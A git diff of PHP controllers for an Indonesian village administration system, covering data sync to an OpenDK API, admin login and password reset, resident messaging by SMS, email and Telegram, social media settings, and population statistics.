$row->sasaran, + $row->ndesc, + $row->sdate, + $row->edate, + $row->userid, + $row->status, + $row->asaldana, + ]; + + $rowFromValues = WriterEntityFactory::createRowFromArray($program); + $writer->addRow($rowFromValues); + } + + $writer->close(); + $this->zip->read_file($bantuan_opendk); + + // Masukan ke File Zip + $filename = namafile('program bantuan') . '_opendk.zip'; + $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename); + + return $filename; + } + + public function kirim_peserta_program_bantuan() + { + $filename = $this->data_peserta_program_bantuan(); + $akhir = $this->input->get('akhir'); + + $notif = opendk_api('/api/v1/program-bantuan/peserta', [ + 'multipart' => [ + [ + 'name' => 'file', + 'contents' => Psr7\Utils::tryFopen(LOKASI_SINKRONISASI_ZIP . $filename, 'r'), + 'filename' => $filename, + ], + [ + 'name' => 'desa_id', + 'contents' => $this->kode_desa, + ], + ], + ], 'post'); + + if ($akhir && $notif['status'] != 'danger') { + $log = LogSinkronisasi::firstOrCreate(['modul' => 'peserta-bantuan'], ['created_by' => $this->session->user]); + $log->updated_by = $this->session->user; + $log->save(); + } + + return json($notif); + } + + public function data_peserta_program_bantuan() + { + // Buat data Peserta Program Bantuan + $writer = WriterEntityFactory::createCSVWriter(); + $peserta = LOKASI_SINKRONISASI_ZIP . namafile('peserta program bantuan') . '_opendk.csv'; + $writer->openToFile($peserta); + //Header Tabel + $judul = [ + 'desa_id', + 'id', + 'peserta', + 'program_id', + 'no_id_kartu', + 'kartu_nik', + 'kartu_nama', + 'kartu_tempat_lahir', + 'kartu_tanggal_lahir', + 'kartu_alamat', + 'kartu_peserta', + 'kartu_id_pend', + 'sasaran', + ]; + + $header = WriterEntityFactory::createRowFromArray($judul); + $writer->addRow($header); + + foreach (BantuanPeserta::get() as $row) { + $program = [ + $this->kode_desa, + $row->id, + $row->peserta, + $row->program_id, + $row->no_id_kartu, + $row->kartu_nik, + $row->kartu_nama, + $row->kartu_tempat_lahir, + $row->kartu_tanggal_lahir, + $row->kartu_alamat, + $row->kartu_peserta, + $row->kartu_id_pend, + $row->bantuan->sasaran, + ]; + + $rowFromValues = WriterEntityFactory::createRowFromArray($program); + $writer->addRow($rowFromValues); + } + + $writer->close(); + $this->zip->read_file($peserta); + + // Masukan ke File Zip + $filename = namafile('peserta program bantuan') . '_opendk.zip'; + $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename); + + return $filename; + } + // SELESAI PROGRAM BANTUAN + + // MULAI PEMBANGUNAN + public function kirim_pembangunan() + { + $file_pembangunan = $this->data_pembangunan(); + $akhir = $this->input->get('akhir'); + + $notif = opendk_api('/api/v1/pembangunan', [ + 'multipart' => [ + [ + 'name' => 'file', + 'contents' => Psr7\Utils::tryFopen(LOKASI_SINKRONISASI_ZIP . $file_pembangunan, 'r'), + 'filename' => $file_pembangunan, + ], + [ + 'name' => 'desa_id', + 'contents' => $this->kode_desa, + ], + ], + ], 'post'); + + if ($akhir && $notif['status'] != 'danger') { + $log = LogSinkronisasi::firstOrCreate(['modul' => 'pembangunan'], ['created_by' => $this->session->user]); + $log->updated_by = $this->session->user; + $log->save(); + } + + return json($notif); + } + + public function data_pembangunan() + { + $limit = 100; + $p = $this->input->get('p'); + + // cek tanggal akhir sinkronisasi + $tgl_sinkronisasi = LogSinkronisasi::where('modul', '=', 'program-bantuan')->first()->updated_at ?? null; + + $writer = WriterEntityFactory::createCSVWriter(); + + // Membuat Data Pembangunan + $data_pembangunan = LOKASI_SINKRONISASI_ZIP . namafile('pembangunan') . '_opendk.csv'; + $writer->openToFile($data_pembangunan); + + // Header Tabel + $judul = [ + 'desa_id', + 'id', + 'sumber_dana', + 'lokasi', + 'judul', + 'keterangan', + 'volume', + 'tahun_anggaran', + 'pelaksana_kegiatan', + 'status', + 'anggaran', + 'perubahan_anggaran', + 'sumber_biaya_pemerintah', + 'sumber_biaya_provinsi', + 'sumber_biaya_kab_kota', + 'sumber_biaya_swadaya', + 'sumber_biaya_jumlah', + 'manfaat', + 'waktu', + 'sifat_proyek', + 'foto', + ]; + $header = WriterEntityFactory::createRowFromArray($judul); + $writer->addRow($header); + $get = Pembangunan::when($tgl_sinkronisasi != null, static function ($q) use ($tgl_sinkronisasi) { + return $q->where('updated_at', '>', $tgl_sinkronisasi); + }) + ->when($tgl_sinkronisasi == null, static function ($q) use ($limit, $p) { + return $q->skip($p * $limit)->take($limit); + }) + ->with(['PembangunanDokumentasi', 'wilayah'])->get(); + + foreach ($get as $row) { + $penduduk = [ + $this->kode_desa, + $row->id, + $row->sumber_dana, + $row->lokasi_pemb, + $row->judul, + $row->keterangan, + $row->volume, + $row->tahun_anggaran, + $row->pelaksana_kegiatan, + $row->status, + $row->anggaran, + $row->perubahan_anggaran, + $row->sumber_biaya_pemerintah, + $row->sumber_biaya_provinsi, + $row->sumber_biaya_kab_kota, + $row->sumber_biaya_swadaya, + $row->sumber_biaya_jumlah, + $row->manfaat, + $row->waktu, + $row->sifat_proyek, + $row->foto, + ]; + + $file_foto = LOKASI_GALERI . $row->foto; + if (is_file($file_foto)) { + $this->zip->read_file($file_foto); + } + + $rowFromValues = WriterEntityFactory::createRowFromArray($penduduk); + $writer->addRow($rowFromValues); + } + + $writer->close(); + $this->zip->read_file($data_pembangunan); + + // Masukan ke File Zip + $filename = namafile('pembangunan') . '_opendk.zip'; + $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename); + + return $filename; + } + + public function kirim_dokumentasi_pembangunan($value = '') + { + $file_dokumentasi = $this->make_dokumentasi_pembangunan(); + $akhir = $this->input->get('akhir'); + + $notif = opendk_api('/api/v1/pembangunan/dokumentasi', [ + 'multipart' => [ + [ + 'name' => 'file', + 'contents' => Psr7\Utils::tryFopen(LOKASI_SINKRONISASI_ZIP . $file_dokumentasi, 'r'), + 'filename' => $file_dokumentasi, + ], + [ + 'name' => 'desa_id', + 'contents' => $this->kode_desa, + ], + ], + ], 'post'); + + if ($akhir && $notif['status'] != 'danger') { + $log = LogSinkronisasi::firstOrCreate(['modul' => 'pembangunan-dokumentasi'], ['created_by' => $this->session->user]); + $log->updated_by = $this->session->user; + $log->save(); + } + + return json($notif); + } + + public function make_dokumentasi_pembangunan() + { + $limit = 100; + $p = $this->input->get('p'); + + // cek tanggal akhir sinkronisasi + $tgl_sinkronisasi = LogSinkronisasi::where('modul', '=', 'program-bantuan')->first()->updated_at ?? null; + + $writer = WriterEntityFactory::createCSVWriter(); + + // Membuat Data Dokumentasi Pembangunan + $data_dokumentasi = LOKASI_SINKRONISASI_ZIP . namafile('dokumentasi pembangunan') . '_opendk.csv'; + $writer->openToFile($data_dokumentasi); + + // Header Tabel + $daftar_kolom_dokumentasi = [ + 'desa_id', + 'id', + 'id_pembangunan', + 'gambar', + 'persentase', + 'keterangan', + 'created_at', + 'updated_at', + ]; + $header = WriterEntityFactory::createRowFromArray($daftar_kolom_dokumentasi); + $writer->addRow($header); + $get_dokumentasi = PembangunanDokumentasi::when($tgl_sinkronisasi != null, static function ($q) use ($tgl_sinkronisasi) { + return $q->where('updated_at', '>', $tgl_sinkronisasi); + }) + ->when($tgl_sinkronisasi == null, static function ($q) use ($limit, $p) { + return $q->skip($p * $limit)->take($limit); + })->get(); + + foreach ($get_dokumentasi as $row) { + $dokumentasi = [ + $this->kode_desa, + $row->id, + $row->id_pembangunan, + $row->gambar, + $row->persentase, + $row->keterangan, + $row->created_at->format('Y-m-d'), + $row->updated_at->format('Y-m-d'), + ]; + + $file_foto = LOKASI_GALERI . $row->gambar; + if (is_file($file_foto)) { + $this->zip->read_file($file_foto); + } + + $rowFromValues = WriterEntityFactory::createRowFromArray($dokumentasi); + $writer->addRow($rowFromValues); + } + + $writer->close(); + $this->zip->read_file($data_dokumentasi); + + $filename = namafile('dokumentasi pembangunan') . '_opendk.zip'; + $this->zip->archive(LOKASI_SINKRONISASI_ZIP . $filename); + + return $filename; + } + // SELESAI PEMBANGUNAN +} diff --git a/donjo-app/controllers/Siteman.php b/donjo-app/controllers/Siteman.php index 6ea9e5b0f..8e41af040 100644 --- a/donjo-app/controllers/Siteman.php +++ b/donjo-app/controllers/Siteman.php @@ -1,473 +1,227 @@ -load->model('user_model'); + $this->load->model('theme_model'); + $this->lang->load('passwords'); + $this->load->library('Reset/Password', '', 'password'); + $this->latar_login = default_file(LATAR_LOGIN . $this->setting->latar_login, DEFAULT_LATAR_SITEMAN); + $this->header = collect(identitas())->toArray(); + } + + public function index() + { + // Kalau sehabis periksa data, paksa harus login lagi + if ($this->session->periksa_data == 1) { + $this->user_model->logout(); + + redirect('siteman'); + } + + if (isset($_SESSION['siteman']) && $_SESSION['siteman'] == 1) { + redirect('main'); + } + unset($_SESSION['balik_ke']); + $data['header'] = $this->header; + + $data['form_action'] = site_url('siteman/auth'); + $data['logo_bsre'] = default_file(LOGO_BSRE, false); + $data['latar_login'] = $this->latar_login; + //Initialize Session ------------ + if (! isset($_SESSION['siteman'])) { + // Belum ada session variable + $this->session->set_userdata('siteman', 0); + } + session_error_clear(); + $_SESSION['per_page'] = 10; + $_SESSION['cari'] = ''; + $_SESSION['pengumuman'] = 0; + $_SESSION['sesi'] = 'kosong'; + //------------------------------- + + $this->load->view('siteman', $data); + } + + public function auth() + { + $method = $this->input->method(true); + $allow_method = ['POST']; + if (! in_array($method, $allow_method)) { + redirect('siteman'); + } + $this->user_model->siteman(); + + if ($_SESSION['siteman'] != 1) { + // Gagal otentifikasi + redirect('siteman'); + } + + if (! $this->user_model->syarat_sandi() && ! (config_item('demo_mode') || ENVIRONMENT === 'development')) { + // Password tidak memenuhi syarat kecuali di website demo + + $this->session->force_change_password = true; + redirect('pengguna#sandi'); + } + + $_SESSION['dari_login'] = '1'; + // Notif bisa dipanggil sewaktu-waktu dan tidak digunakan untuk redirect + if (isset($_SESSION['request_uri']) && strpos($_SESSION['request_uri'], 'notif/') === false) { + // Lengkapi url supaya tidak diubah oleh redirect + $request_awal = $_SERVER['HTTP_ORIGIN'] . $_SESSION['request_uri']; + unset($_SESSION['request_uri']); + redirect($request_awal); + } else { + unset($_SESSION['request_uri']); + redirect('main'); + } + } + + public function logout() + { + $this->user_model->logout(); + + redirect('siteman'); + } + + public function lupa_sandi() + { + $data['header'] = $this->header; + $data['latar_login'] = $this->latar_login; + + $this->load->view('lupa_sandi', $data); + } + + public function kirim_lupa_sandi() + { + // Periksa isian captcha + include FCPATH . 'securimage/securimage.php'; + $securimage = new Securimage(); + + if (! $securimage->check($this->input->post('captcha_code'))) { + set_session('notif', 'Kode captcha anda salah. Silakan ulangi lagi.'); + + redirect('siteman/lupa_sandi'); + } + + try { + $status = $this->password->driver('email')->sendResetLink([ + 'email' => $this->input->post('email'), + ]); + } catch (\Exception $e) { + log_message('error', $e); + + set_session('notif', 'Tidak berhasil mengirim email, harap mencoba kembali.'); + + redirect('siteman/lupa_sandi'); + } + + set_session('notif', lang($status)); + + redirect('siteman/lupa_sandi'); + } + + public function reset_kata_sandi($token = null) + { + if (! $token) { + redirect('siteman'); + } + + $data['header'] = $this->header; + $data['email'] = $this->input->get('email', true); + $data['token'] = $token; + $data['latar_login'] = $this->latar_login; + + $this->load->view('reset_kata_sandi', $data); + } + + public function verifikasi_sandi() + { + $request = (object) $this->input->post(); + + if ($request->password !== $request->konfirmasi_password) { + set_session('notif', 'Bidang konfirmasi password tidak cocok dengan bidang password.'); + + redirect("siteman/reset_kata_sandi/{$request->token}?email={$request->email}"); + } + + try { + $status = $this->password->driver('email')->reset( + ['email' => $request->email, 'token' => $request->token, 'password' => $request->password], + function ($user, $password) { + // TODO: OpenKab - Perlu disesuaikan ulang setelah semua modul selesai + $this->db->where('id', $user->id)->update('user', ['password' => $this->generatePasswordHash($password)]); + } + ); + } catch (\Exception $e) { + log_message('error', $e); + + set_session('notif', 'Tidak berhasil memverifikasi kata sandi, silahkan coba kembali.'); + + redirect("siteman/reset_kata_sandi/{$request->token}?email={$request->email}"); + } + + set_session('notif', lang($status)); + + if ($status === 'reset') { + redirect('siteman'); + } else { + redirect("siteman/reset_kata_sandi/{$request->token}?email={$request->email}"); + } + } + + protected function generatePasswordHash($string) + { + // Pastikan inputnya adalah string + $string = is_string($string) ? $string : (string) $string; + // Buat hash password + $pwHash = password_hash($string, PASSWORD_BCRYPT); + // Cek kekuatan hash, regenerate jika masih lemah + if (password_needs_rehash($pwHash, PASSWORD_BCRYPT)) { + $pwHash = password_hash($string, PASSWORD_BCRYPT); + } + + return $pwHash; + } +} diff --git a/donjo-app/controllers/Sitemap.php b/donjo-app/controllers/Sitemap.php index 3ae96d427..073e3035d 100644 --- a/donjo-app/controllers/Sitemap.php +++ b/donjo-app/controllers/Sitemap.php @@ -1,473 +1,56 @@ -db + ->select('a.*, YEAR(tgl_upload) AS thn, MONTH(tgl_upload) AS bln, DAY(tgl_upload) AS hri') + ->where('config_id', Config::appKey()->first()->id) + ->from('artikel a') + ->get() + ->result_array(); + + $this->output->set_content_type('text/xml', 'UTF-8'); + $this->load->view('sitemap', $data); + } +} diff --git a/donjo-app/controllers/Sms.php b/donjo-app/controllers/Sms.php index 5ca1d39dc..9b107c207 100644 --- a/donjo-app/controllers/Sms.php +++ b/donjo-app/controllers/Sms.php @@ -1,441 +1,382 @@ -load->model('sms_model'); + $this->modul_ini = 'hubung-warga'; + $this->sub_modul_ini = 'kirim-pesan'; + $this->header['kategori'] = 'hubung warga'; + } + + public function clear() + { + $this->session->per_page = 20; + + redirect('sms'); + } + + public function index($p = 1, $o = 6) + { + $data['p'] = $p; + $data['o'] = $o; + $this->session->per_page = $this->input->post('per_page') ?? $this->session->per_page; + + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->sms_model->paging($p); + $data['main'] = $this->sms_model->list_data($o, $data['paging']->offset, $data['paging']->per_page); + $data['navigasi'] = 'sms'; + + $this->render('sms/manajemen_sms_table', $data); + } + + public function outbox($p = 1, $o = 6) + { + $data['p'] = $p; + $data['o'] = $o; + $this->session->per_page = $this->input->post('per_page') ?? $this->session->per_page; + + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->sms_model->paging_terkirim($p); + $data['main'] = $this->sms_model->list_data_terkirim($o, $data['paging']->offset, $data['paging']->per_page); + $data['navigasi'] = 'outbox'; + + $this->render('sms/create_sms', $data); + } + + public function sentitem($p = 1, $o = 6) + { + $data['p'] = $p; + $data['o'] = $o; + $this->session->per_page = $this->input->post('per_page') ?? $this->session->per_page; + + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->sms_model->paging_terkirim($p); + $data['main'] = $this->sms_model->list_data_terkirim($o, $data['paging']->offset, $data['paging']->per_page); + $data['navigasi'] = 'sentitem'; + + $this->render('sms/berita_terkirim', $data); + } + + public function pending($p = 1, $o = 6) + { + $data['p'] = $p; + $data['o'] = $o; + $this->session->per_page = $this->input->post('per_page') ?? $this->session->per_page; + + $data['per_page'] = $this->session->per_page; + $data['paging'] = $this->sms_model->paging_tertunda($p); + $data['main'] = $this->sms_model->list_data_tertunda($o, $data['paging']->offset, $data['paging']->per_page); + $data['navigasi'] = 'pending'; + + $this->render('sms/pesan_tertunda', $data); + } + + public function form($tipe = '', $id = 0) + { + $this->redirect_hak_akses('u'); + + $data['tipe'] = $tipe; + $data['kontakPenduduk'] = Penduduk::select(['id', 'nama', 'telepon'])->whereNotNull('telepon')->status()->get(); + $data['kontakEksternal'] = DaftarKontak::select(['id_kontak', 'nama', 'telepon'])->whereNotNull('telepon')->get(); + + if ($id) { + $data['sms'] = $this->sms_model->get_sms($tipe, $id); + $data['form_action'] = site_url("sms/insert/{$tipe}/{$id}"); + + $this->load->view('sms/ajax_sms_form', $data); + } else { + $data['sms'] = null; + $data['form_action'] = site_url("sms/insert/{$tipe}"); + + $this->load->view('sms/ajax_sms_form_kirim', $data); + } + } + + public function broadcast() + { + $data['grupKontak'] = GrupKontak::withCount('anggota')->get(); + $data['form_action'] = site_url('sms/broadcast_proses'); + + $this->load->view('sms/ajax_broadcast_form', $data); + } + + public function broadcast_proses() + { + $this->redirect_hak_akses('u'); + + $post = $this->input->post(); + $isi_pesan = htmlentities($post['TextDecoded']); + + // Ambil daftar anggota grup kontak + $daftarAnggota = AnggotaGrup::where('id_grup', bilangan($post['id_grup']))->dataAnggota()->get(); + + foreach ($daftarAnggota as $anggota) { + $this->sms_model->sendBroadcast([ + 'DestinationNumber' => $anggota->telepon, + 'TextDecoded' => $isi_pesan, + ]); + } + + redirect('sms/outbox'); + } + + // Sms + public function insert($tipe = '', $id = '') + { + $this->redirect_hak_akses('u'); + + if ($tipe == 3) { + $this->sms_model->update($id); + redirect('sms/pending'); + } + + $this->sms_model->insert(); + if ($tipe == 1) { + redirect('sms'); + } elseif ($tipe == 2) { + redirect('sms/sentitem'); + } else { + redirect('sms/outbox'); + } + } + + public function update($id = '') + { + $this->redirect_hak_akses('u'); + + $this->sms_model->update($id); + redirect('sms'); + } + + public function delete($tipe = 0, $id = '') + { + $this->redirect_hak_akses('h'); + + $this->sms_model->delete($tipe, $id); + if ($tipe == 1) { + redirect('sms'); + } elseif ($tipe == 2) { + redirect('sms/sentitem'); + } elseif ($tipe == 3) { + redirect('sms/pending'); + } else { + redirect('sms/outbox'); + } + } + + public function deleteAll($tipe = 0) + { + $this->redirect_hak_akses('h'); + + $this->sms_model->deleteAll($tipe); + if ($tipe == 1) { + redirect('sms'); + } elseif ($tipe == 2) { + redirect('sms/sentitem'); + } elseif ($tipe == 3) { + redirect('sms/pending'); + } else { + redirect('sms/outbox'); + } + } + + // Kirim Pesan (Hubung Warga) + public function arsip() + { + return view('admin.sms.hubung_warga.index', [ + 'navigasi' => 'arsip', + ]); + } + + public function arsipDatatables() + { + if ($this->input->is_ajax_request()) { + return datatables()->of(HubungWarga::query()) + ->addColumn('ceklist', static function ($row) { + if (can('h')) { + return ''; + } + }) + ->addIndexColumn() + ->addColumn('aksi', static function ($row) { + if (can('h')) { + return ' '; + } + }) + ->rawColumns(['ceklist', 'aksi']) + ->make(); + } + + return show_404(); + } + + public function kirim() + { + $this->redirect_hak_akses('u'); + + return view('admin.sms.hubung_warga.form', [ + 'grupKontak' => GrupKontak::withCount('anggota')->get(), + 'formAction' => route('sms.proseskirim'), + 'navigasi' => 'kirim', + ]); + } + + public function prosesKirim() + { + $this->redirect_hak_akses('u'); + + $validasi = $this->hubungWargaValidate($this->request); + + // Kirim pesan berdasarkan cara hubung warga + $notif = $this->kirimPesanGrup($validasi); + + if ($notif['jumlahBerhasil'] > 0) { + HubungWarga::create($validasi); + set_session('success', "Berhasil Kirim Pesan
{$notif['pesanError']}"); + } else { + set_session('error', "Gagal Kirim Pesan
{$notif['pesanError']}"); + } + + redirect('sms/arsip'); + } + + // Hanya filter inputan + protected function hubungWargaValidate($request = []) + { + return [ + 'config_id' => identitas('id'), + 'id_grup' => bilangan($request['id_grup']), + 'subjek' => htmlentities($request['subjek']), + 'isi' => htmlentities($request['isi']), + 'created_by' => auth()->id, + 'updated_by' => auth()->id, + ]; + } + + protected function kirimPesanGrup($data = []) + { + $this->load->library('OTP/OTP_manager', null, 'otp'); + + $result = []; + $daftarAnggota = AnggotaGrup::where('id_grup', bilangan($data['id_grup']))->dataAnggota()->get(); + + foreach ($daftarAnggota as $anggota) { + // Kirim pesan berdasarkan pilihan hubung warga + // Prioritas : berdasarkan pilihan, telegram jika tidak tersedia, jangan kirim + switch (true) { + case (bool) $this->setting->aktifkan_sms === true && $anggota->hubung_warga = 'SMS' && null !== $anggota->telepon: + $kirim = $this->sms_model->sendBroadcast([ + 'DestinationNumber' => $anggota->telepon, + 'TextDecoded' => <<hubung_warga = 'Email' && null !== $anggota->email: + try { + $kirim = $this->otp->driver('email')->kirim_pesan([ + 'tujuan' => $anggota->email, + 'subjek' => $data['subjek'], + 'isi' => $data['isi'], + 'nama' => $anggota->nama, + ]); + $result['jumlahBerhasil'] = $result['jumlahBerhasil'] + 1; + + break; + } catch (\Exception $e) { + log_message('error', $e); + $result['pesanError'] = "Gagal kirim pesan Email ke : {$anggota->nama}
"; + } + + default: + try { + $kirim = $this->otp->driver('telegram')->kirim_pesan([ + 'tujuan' => $anggota->telegram, + 'subjek' => $data['subjek'], + 'isi' => $data['isi'], + ]); + $result['jumlahBerhasil'] = $result['jumlahBerhasil'] + 1; + } catch (\Exception $e) { + log_message('error', $e); + $result['pesanError'] = "Gagal kirim pesan Telegram ke : {$anggota->nama}
"; + } + break; + } + } + + $result['jumlahData'] = count($daftarAnggota); + + return $result; + } + + public function hubungDelete($id = null) + { + $this->redirect_hak_akses('h'); + + if (HubungWarga::destroy($this->request['id_cb'] ?? $id)) { + set_session('success', 'Berhasil Hapus Data'); + } else { + set_session('error', 'Gagal Hapus Data'); + } + + redirect('sms/arsip'); + } +} diff --git a/donjo-app/controllers/Sosmed.php b/donjo-app/controllers/Sosmed.php index 4baa84cf6..290d9e5ea 100644 --- a/donjo-app/controllers/Sosmed.php +++ b/donjo-app/controllers/Sosmed.php @@ -1,465 +1,83 @@ -load->model('web_sosmed_model'); + $this->modul_ini = 'admin-web'; + $this->sub_modul_ini = 'media-sosial'; + } + + public function index() + { + $sosmed = $this->session->userdata('sosmed'); + + if (! $sosmed) { + $sosmed = 'facebook'; + } + + $data['media'] = $sosmed; + $data['main'] = $this->web_sosmed_model->get_sosmed($sosmed); + $data['list_sosmed'] = $this->web_sosmed_model->list_sosmed(); + $data['form_action'] = site_url("sosmed/update/{$sosmed}"); + + $this->session->unset_userdata('sosmed'); + + $this->render('sosmed/sosmed', $data); + } + + public function tab($sosmed) + { + $this->session->set_userdata('sosmed', $sosmed); + + redirect('sosmed'); + } + + public function update($sosmed) + { + $this->redirect_hak_akses('u'); + $this->web_sosmed_model->update($sosmed); + $redirect = (! empty($sosmed)) ? "sosmed/tab/{$sosmed}" : 'sosmed'; + redirect($redirect); + } +} diff --git a/donjo-app/controllers/Statistik.php b/donjo-app/controllers/Statistik.php index 244953f03..c072f50c9 100644 --- a/donjo-app/controllers/Statistik.php +++ b/donjo-app/controllers/Statistik.php @@ -1,489 +1,439 @@ -load->model(['wilayah_model', 'laporan_penduduk_model', 'pamong_model', 'program_bantuan_model']); + $this->_list_session = ['lap', 'order_by', 'dusun', 'rw', 'rt', 'status', 'tahun', 'filter_global']; + $this->modul_ini = 'statistik'; + $this->sub_modul_ini = 'statistik-kependudukan'; + } + + public function index() + { + $data = $this->get_cluster_session(); + $data['lap'] = $this->session->lap; + + $data['order_by'] = $this->session->order_by; + $data['main'] = $this->laporan_penduduk_model->list_data($data['lap'], $data['order_by']); + $data['tautan_data'] = $this->tautan_data($this->session->lap); + $data['list_dusun'] = $this->wilayah_model->list_dusun(); + $data['heading'] = $this->laporan_penduduk_model->judul_statistik($data['lap']); + $data['stat_penduduk'] = $this->referensi_model->list_ref(STAT_PENDUDUK); + $data['stat_keluarga'] = $this->referensi_model->list_ref(STAT_KELUARGA); + $data['stat_rtm'] = $this->referensi_model->list_ref(STAT_RTM); + $data['stat_kategori_bantuan'] = $this->referensi_model->list_ref(STAT_BANTUAN); + $data['stat_bantuan'] = $this->program_bantuan_model->list_program(0); + $data['tahun_bantuan_pertama'] = $this->program_bantuan_model->tahun_bantuan_pertama(($data['lap'] == 'bantuan_penduduk') ? '1' : '2') ?? date('Y'); + $data['tahun'] = $this->session->tahun ?? null; + $data['status'] = $this->session->status ?? null; + $this->session->filter_global = [ + 'tahun' => $data['tahun'], + 'status' => $data['status'], + 'dusun' => $data['dusun'], + 'rw' => $data['rw'], + 'rt' => $data['rt'], + ]; + + $data['judul_kelompok'] = 'Jenis Kelompok'; + $this->get_data_stat($data, $data['lap']); + + $this->render('statistik/penduduk', $data); + } + + private function tautan_data($lap) + { + if ($lap > 50) { + $program_id = preg_replace('/^50/', '', $lap); + + // TODO: Sederhanakan query ini, pindahkan ke model + $sasaran = $this->db + ->select('sasaran') + ->group_start() + ->where('config_id', identitas('id')) + ->or_where('config_id', null) + ->group_end() + ->where('id', $program_id) + ->get('program') + ->row() + ->sasaran; + } + + switch (true) { + case in_array($lap, [21, 22, 23, 24, 25, 26, 27, 'kelas_sosial', 'bantuan_keluarga']) || ($lap > 50 && $sasaran == 2): + $tautan = site_url("keluarga/statistik/{$lap}/"); + break; + + case in_array($lap, ['bdt']) || ($lap > 50 && $sasaran == 3): + $tautan = site_url("rtm/statistik/{$lap}/"); + break; + + case $lap < 50 || ($lap > 50 && $sasaran == 1): + $tautan = site_url("penduduk/statistik/{$lap}/"); + break; + + case $lap > 50 && $sasaran == 4: + $tautan = site_url("kelompok/statistik/{$lap}/"); + break; + + default: + // code... + break; + } + + return $tautan; + } + + public function clear($lap = '0', $order_by = '1') + { + $this->session->unset_userdata($this->_list_session); + $this->order_by($lap, $order_by); + } + + public function order_by($lap = '0', $order_by = '1') + { + $this->session->lap = $lap; + $this->session->order_by = $order_by; + + redirect('statistik'); + } + + private function get_data_stat(&$data, $lap) + { + switch (true) { + case $lap > 50: + // Untuk program bantuan, $lap berbentuk '50' + $program_id = preg_replace('/^50/', '', $lap); + $data['program'] = $this->program_bantuan_model->get_sasaran($program_id); + $data['judul_kelompok'] = $data['program']['judul_sasaran']; + $kategori = 'bantuan'; + break; + + case in_array($lap, ['bantuan_penduduk', 'bantuan_keluarga']): + // Kategori bantuan + $kategori = 'bantuan'; + break; + + case $lap > 20 || "{$lap}" == 'kelas_sosial': + // Kelurga + $kategori = 'keluarga'; + + break; + + case in_array($lap, ['bdt']): + // RTM + $kategori = 'rtm'; + break; + + default: + // Penduduk + $kategori = 'penduduk'; + break; + } + + $data['stat'] = $this->laporan_penduduk_model->judul_statistik($lap); + $data['kategori'] = $kategori; + } + + // TODO: Gunakan view global ttd + public function dialog($aksi = '') + { + $data['aksi'] = $aksi; + $data['lap'] = $this->session->lap; + $data['pamong'] = Pamong::penandaTangan()->get(); + $data['getKades'] = kades()->id; + $data['form_action'] = site_url("statistik/daftar/{$aksi}/{$data['lap']}"); + + $this->load->view('statistik/ajax_daftar', $data); + } + + // $aksi = cetak/unduh + public function daftar($aksi = '', $lap = '') + { + foreach ($this->_list_session as $list) { + $data[$list] = $this->session->{$list}; + } + + $post = $this->input->post(); + $data['aksi'] = $aksi; + $data['stat'] = $this->laporan_penduduk_model->judul_statistik($lap); + $data['config'] = $this->header['desa']; + $data['main'] = $this->laporan_penduduk_model->list_data($lap); + $data['pamong_ttd'] = $this->pamong_model->get_data($post['pamong_ttd']); + $data['laporan_no'] = $post['laporan_no']; + + $data['file'] = 'Statistik penduduk'; // nama file + $data['isi'] = 'statistik/penduduk_cetak'; + $data['letak_ttd'] = ['1', '1', '1']; + + $this->load->view('global/format_cetak', $data); + } + + public function rentang_umur() + { + $data['lap'] = 13; + $data['main'] = $this->laporan_penduduk_model->list_data_rentang(); + $data['stat_penduduk'] = $this->referensi_model->list_ref(STAT_PENDUDUK); + $data['stat_keluarga'] = $this->referensi_model->list_ref(STAT_KELUARGA); + $data['stat_kategori_bantuan'] = $this->referensi_model->list_ref(STAT_BANTUAN); + $data['stat_bantuan'] = $this->program_bantuan_model->list_program(0); + $data['judul_kelompok'] = 'Jenis Kelompok'; + $this->get_data_stat($data, $data['lap']); + + $this->render('statistik/rentang_umur', $data); + } + + public function form_rentang($id = 0) + { + if ($id == 0) { + $data['form_action'] = site_url('statistik/rentang_insert'); + $data['rentang'] = $this->laporan_penduduk_model->get_rentang_terakhir(); + $data['rentang']['nama'] = ''; + $data['rentang']['sampai'] = ''; + } else { + $data['form_action'] = site_url("statistik/rentang_update/{$id}"); + $data['rentang'] = $this->laporan_penduduk_model->get_rentang($id) ?? show_404(); + } + $this->load->view('statistik/ajax_rentang_form', $data); + } + + public function rentang_insert() + { + $this->redirect_hak_akses('h'); + + $data['insert'] = $this->laporan_penduduk_model->insert_rentang(); + redirect('statistik/rentang_umur'); + } + + public function rentang_update($id = 0) + { + $this->redirect_hak_akses('u'); + + $this->laporan_penduduk_model->update_rentang($id); + redirect('statistik/rentang_umur'); + } + + public function rentang_delete($id = 0) + { + $this->redirect_hak_akses('h'); + $this->laporan_penduduk_model->delete_rentang($id); + redirect('statistik/rentang_umur'); + } + + public function delete_all_rentang() + { + $this->redirect_hak_akses('h'); + $this->laporan_penduduk_model->delete_all_rentang(); + redirect('statistik/rentang_umur'); + } + + public function dusun($lap = 0) + { + if ($lap) { + $this->session->lap = $lap; + } + + $this->session->unset_userdata(['rw', 'rt']); + $dusun = $this->input->post('dusun'); + if ($dusun != '') { + $this->session->dusun = $dusun; + } else { + $this->session->unset_userdata('dusun'); + } + + redirect('statistik'); + } + + public function rw($lap = 0) + { + if ($lap) { + $this->session->lap = $lap; + } + + $this->session->unset_userdata('rt'); + $rw = $this->input->post('rw'); + if ($rw != '') { + $this->session->rw = $rw; + } else { + $this->session->unset_userdata('rw'); + } + redirect('statistik'); + } + + public function rt($lap = 0) + { + if ($lap) { + $this->session->lap = $lap; + } + + $rt = $this->input->post('rt'); + if ($rt != '') { + $this->session->rt = $rt; + } else { + $this->session->unset_userdata('rt'); + } + redirect('statistik'); + } + + public function filter($key = '') + { + $value = $this->input->post($key); + if ($value != '') { + $this->session->{$key} = $value; + } else { + $this->session->unset_userdata($key); + } + + redirect($this->controller); + } + + private function get_cluster_session() + { + foreach ($this->_list_session as $list) { + if (in_array($list, ['dusun', 'rw', 'rt'])) { + ${$list} = $this->session->{$list}; + } + } + + if (isset($dusun)) { + $data['dusun'] = $dusun; + $data['list_rw'] = $this->wilayah_model->list_rw($dusun); + + if (isset($rw)) { + $data['rw'] = $rw; + $data['list_rt'] = $this->wilayah_model->list_rt($dusun, $rw); + + if (isset($rt)) { + $data['rt'] = $rt; + } else { + $data['rt'] = ''; + } + } else { + $data['rw'] = ''; + } + } else { + $data['dusun'] = $data['rw'] = $data['rt'] 